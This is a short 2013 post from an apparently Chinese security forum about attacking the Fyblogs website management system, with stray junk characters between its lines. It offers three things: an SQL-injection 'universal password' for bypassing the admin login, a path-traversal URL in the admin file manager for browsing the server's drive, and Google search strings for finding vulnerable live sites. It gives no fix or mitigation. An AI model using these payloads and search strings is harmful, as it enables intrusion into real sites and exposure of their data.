找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:17:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
后台万能密码 'or'='or'
0 P5 V% a7 C9 a' g- w9 \9 `/ [0 [' i5 a1 N. n& O, \5 p
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
; m3 V7 D! t8 n  E1 fadmin/uploadfile.asp?currentFolder=/upfiles/../3 r  n0 k2 z+ ]  \
! T9 _- N4 j2 K
漏洞证明:. d1 n' q/ ]* X) C# k- ?# F
+ ?8 N$ E' `- S# V+ E
谷歌:inurl:type.asp?id=1 新闻中心
7 F& ^# z: `& Z( a: c) K3 _# `或者 :inurl:download_ok.asp?% V& i. t8 z3 I! ]  L' M* @
: c& L/ p- V& C7 L* c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表